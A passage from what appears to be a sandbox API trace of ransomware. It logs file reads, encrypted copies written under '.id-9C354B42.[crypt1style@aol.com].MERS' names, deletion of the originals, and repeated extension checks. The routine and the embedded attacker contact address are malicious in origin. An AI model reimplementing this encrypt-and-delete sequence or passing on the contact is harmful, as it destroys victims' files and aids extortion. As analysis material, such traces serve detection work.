Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.975] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=20577) returned 1 [0035.975] CloseHandle (hObject=0x1ec) returned 1 [0035.975] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.975] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.975] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.975] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.975] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.975] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.975] GetLastError () returned 0x0 [0035.975] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x5061, lpOverlapped=0x0) returned 1 [0035.992] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0035.993] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.993] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.994] SetEndOfFile (hFile=0x1d8) returned 1 [0035.994] CloseHandle (hObject=0x1d8) returned 1 [0035.995] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.995] SetEndOfFile (hFile=0x1ec) returned 1 [0035.995] CloseHandle (hObject=0x1ec) returned 1 [0035.995] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.996] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.996] lstrlenW (lpString=".doc") returned 4 [0035.996] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.996] lstrlenW (lpString=".docx") returned 5 [0035.996] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.996] lstrlenW (lpString=".pdf") returned 4 [0035.996] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.996] lstrlenW (lpString=".xls") returned 4 [0035.997] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.997] lstrlenW (lpString=".xlsx") returned 5 [0035.997] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.997] lstrlenW (lpString=".ppt") returned 4 [0035.997] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.997] lstrlenW (lpString=".zip") returned 4 [0035.997] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.997] lstrlenW (lpString=".rar") returned 4 [0035.997] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.997] lstrlenW (lpString=".bz2") returned 4 [0035.997] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.997] lstrlenW (lpString=".7z") returned 3 [0035.997] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.997] lstrlenW (lpString=".dbf") returned 4 [0035.997] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.997] lstrlenW (lpString=".1cd") returned 4 [0035.997] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.997] lstrlenW (lpString=".jpg") returned 4 [0035.997] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.997] lstrlenW (lpString=".doc") returned 4 [0035.997] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.997] lstrlenW (lpString=".docx") returned 5 [0035.997] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.997] lstrlenW (lpString=".pdf") returned 4 [0035.997] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.997] lstrlenW (lpString=".xls") returned 4 [0035.997] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.998] lstrlenW (lpString=".xlsx") returned 5 [0035.998] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.998] lstrlenW (lpString=".ppt") returned 4 [0035.998] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.998] lstrlenW (lpString=".zip") returned 4 [0035.998] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.998] lstrlenW (lpString=".rar") returned 4 [0035.998] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.998] lstrlenW (lpString=".bz2") returned 4 [0035.998] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.998] lstrlenW (lpString=".7z") returned 3 [0035.998] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.998] lstrlenW (lpString=".dbf") returned 4 [0035.998] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.998] lstrlenW (lpString=".1cd") returned 4 [0035.998] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.998] lstrlenW (lpString=".jpg") returned 4 [0035.998] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.998] lstrcmpiW (lpString1=".EPS", lpString2=".MERS") returned -1 [0035.998] lstrlenW (lpString="MS.EPS") returned 6 [0035.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0037.379] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=15067) returned 1 [0037.379] CloseHandle (hObject=0x1c0) returned 1 [0037.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0037.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0037.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0037.379] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.379] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0037.380] GetLastError () returned 0x0 [0037.380] ReadFile (in: hFile=0x1c0, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x3adb, lpOverlapped=0x0) returned 1 [0037.787] WriteFile (in: hFile=0x1bc, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0037.788] ReadFile (in: hFile=0x1c0, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.788] WriteFile (in: hFile=0x1bc, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0037.788] SetEndOfFile (hFile=0x1bc) returned 1 [0037.788] CloseHandle (hObject=0x1bc) returned 1 [0037.792] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.792] SetEndOfFile (hFile=0x1c0) returned 1 [0037.793] CloseHandle (hObject=0x1c0) returned 1 [0037.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0037.793] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0037.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.793] lstrlenW (lpString=".doc") returned 4 [0037.793] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0037.793] lstrlenW (lpString=".docx") returned 5 [0037.794] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0037.794] lstrlenW (lpString=".pdf") returned 4 [0037.794] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0037.794] lstrlenW (lpString=".xls") returned 4 [0037.794] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0037.794] lstrlenW (lpString=".xlsx") returned 5 [0037.794] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0037.794] lstrlenW (lpString=".ppt") returned 4 [0037.794] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0037.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.794] lstrlenW (lpString=".zip") returned 4 [0037.794] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0037.794] lstrlenW (lpString=".rar") returned 4 [0037.794] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0037.794] lstrlenW (lpString=".bz2") returned 4 [0037.794] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0037.794] lstrlenW (lpString=".7z") returned 3 [0037.794] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0037.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.794] lstrlenW (lpString=".dbf") returned 4 [0037.794] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0037.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.794] lstrlenW (lpString=".1cd") returned 4 [0037.794] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0037.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.794] lstrlenW (lpString=".jpg") returned 4 [0037.794] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0037.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.794] lstrlenW (lpString=".doc") returned 4 [0037.794] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0037.794] lstrlenW (lpString=".docx") returned 5 [0037.794] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0037.794] lstrlenW (lpString=".pdf") returned 4 [0037.794] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0037.794] lstrlenW (lpString=".xls") returned 4 [0037.794] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0037.794] lstrlenW (lpString=".xlsx") returned 5 [0037.794] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0037.795] lstrlenW (lpString=".ppt") returned 4 [0037.795] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0037.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.795] lstrlenW (lpString=".zip") returned 4 [0037.795] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0037.795] lstrlenW (lpString=".rar") returned 4 [0037.795] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0037.795] lstrlenW (lpString=".bz2") returned 4 [0037.795] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0037.795] lstrlenW (lpString=".7z") returned 3 [0037.795] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0037.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.795] lstrlenW (lpString=".dbf") returned 4 [0037.795] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0037.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.795] lstrlenW (lpString=".1cd") returned 4 [0037.795] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0037.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.795] lstrlenW (lpString=".jpg") returned 4 [0037.795] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0037.795] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0037.795] lstrlenW (lpString="boxed-correct.avi") returned 17 [0037.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0039.778] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=89600) returned 1 [0039.778] CloseHandle (hObject=0x1f0) returned 1 [0039.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0039.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0039.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0039.779] lstrlenW (lpString=".doc") returned 4 [0039.779] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.779] lstrlenW (lpString=".docx") returned 5 [0039.779] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0039.779] lstrlenW (lpString=".pdf") returned 4 [0039.779] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.779] lstrlenW (lpString=".xls") returned 4 [0039.779] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.779] lstrlenW (lpString=".xlsx") returned 5 [0039.779] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0039.779] lstrlenW (lpString=".ppt") returned 4 [0039.779] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0039.779] lstrlenW (lpString=".zip") returned 4 [0039.779] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.779] lstrlenW (lpString=".rar") returned 4 [0039.779] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.779] lstrlenW (lpString=".bz2") returned 4 [0039.779] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.779] lstrlenW (lpString=".7z") returned 3 [0039.779] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0039.780] lstrlenW (lpString=".dbf") returned 4 [0039.780] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0039.780] lstrlenW (lpString=".1cd") returned 4 [0039.780] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0039.780] lstrlenW (lpString=".jpg") returned 4 [0039.780] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0039.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0039.780] lstrlenW (lpString=".doc") returned 4 [0039.780] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.780] lstrlenW (lpString=".docx") returned 5 [0039.780] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0039.780] lstrlenW (lpString=".pdf") returned 4 [0039.780] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.780] lstrlenW (lpString=".xls") returned 4 [0039.780] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.780] lstrlenW (lpString=".xlsx") returned 5 [0039.780] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0039.780] lstrlenW (lpString=".ppt") returned 4 [0039.780] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0039.781] lstrlenW (lpString=".zip") returned 4 [0039.781] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.781] lstrlenW (lpString=".rar") returned 4 [0039.781] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.781] lstrlenW (lpString=".bz2") returned 4 [0039.781] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.781] lstrlenW (lpString=".7z") returned 3 [0039.781] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0039.781] lstrlenW (lpString=".dbf") returned 4 [0039.781] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0039.781] lstrlenW (lpString=".1cd") returned 4 [0039.781] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0039.781] lstrlenW (lpString=".jpg") returned 4 [0039.781] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.781] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0039.781] lstrlenW (lpString="ipsdeu.xml") returned 10 [0039.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.893] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2616) returned 1 [0039.893] CloseHandle (hObject=0x1e4) returned 1 [0039.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0039.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.893] lstrlenW (lpString=".doc") returned 4 [0039.893] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.893] lstrlenW (lpString=".docx") returned 5 [0039.893] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0039.893] lstrlenW (lpString=".pdf") returned 4 [0039.893] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.893] lstrlenW (lpString=".xls") returned 4 [0039.893] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.893] lstrlenW (lpString=".xlsx") returned 5 [0039.893] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0039.893] lstrlenW (lpString=".ppt") returned 4 [0039.893] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.893] lstrlenW (lpString=".zip") returned 4 [0039.893] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.893] lstrlenW (lpString=".rar") returned 4 [0039.893] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.893] lstrlenW (lpString=".bz2") returned 4 [0039.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.894] lstrlenW (lpString=".7z") returned 3 [0039.894] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.894] lstrlenW (lpString=".dbf") returned 4 [0039.894] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.894] lstrlenW (lpString=".1cd") returned 4 [0039.894] 